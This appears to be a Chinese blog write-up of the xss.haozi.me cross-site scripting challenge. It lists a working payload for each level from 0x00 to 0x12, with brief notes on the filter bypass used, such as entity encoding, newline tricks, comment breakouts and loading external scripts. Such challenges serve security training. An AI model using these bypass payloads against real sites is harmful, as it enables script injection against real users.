xss挑战

xss挑战

https://xss.haozi.me GitHub的issues里有题解

0x00

<script>alert(1)</script>

0x01

闭合标签

</textarea><script>alert(1)</script>

0x02

"><script>alert(1)</script>

使得代码变成这样,将input标签闭合

<input type="name" value=""><script>alert(1)</script>">

0x03

过滤了括号,方法就挺多了。比如unicode编码绕过

<svg><script>alert&#40 1&#41 </script></svg>

0x04

过滤了括号和反引号(哈哈,看出来上题实际是想考什么了吧)。跟上题一样Unicode编码

<svg><script>alert&#40 1&#41 </script></svg>

0x05

闭合掉注释

--!><script>alert(1)</script>

0x06

input = input.replace(/auto|on.*=|>/ig, '_')

/ig 全文查找,忽略大小写

匹配auto或者on开头,=或者>结尾的字符串。中间的.匹配的是除了换行符n之外的字符串,所以可以用换行绕过

type="image" src="" onerror
="alert(1)"

0x07

过滤了<开头 >结尾的字符串

<img src="" onerror ="alert(1)"

0x08

标签会被替换,在e和>之间加空格或者换行就能绕过。有点奇妙

</style ><script>alert(1)</script>

0x09

含有指定url,然后想法闭合标签

https://www.segmentfault.com.haozi.me"></script><script>alert(1)</script>

0x0A

引入外部js文件(可惜没有域名,用ip地址没成功)

https://www.segmentfault.com@domain/a.js

0x0B&0x0C

老套路编码绕过

<img src="" onerror ="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"

0x0D

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

换行以跳出function中的单行注释,在用–>注释掉后面跟着的‘)

input:


alert(1)
-->

0x0E

  1. ſ 古英语中的s的写法, 转成大写是正常的S 2. 用外链的方式加载外部js 这题解就离谱。。。。
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

构造闭合,转义没起作用(对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js)

');alert('1

0x10

'';alert(1)

0x11

");alert("1

0x12

" 被转义成 " 经过html 解析后 里面变成 console.log("\")会报语法错误, 再补个 \ 即可

\");alert(1)//

或者新建一个标签

</script><script>alert(1)</script>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值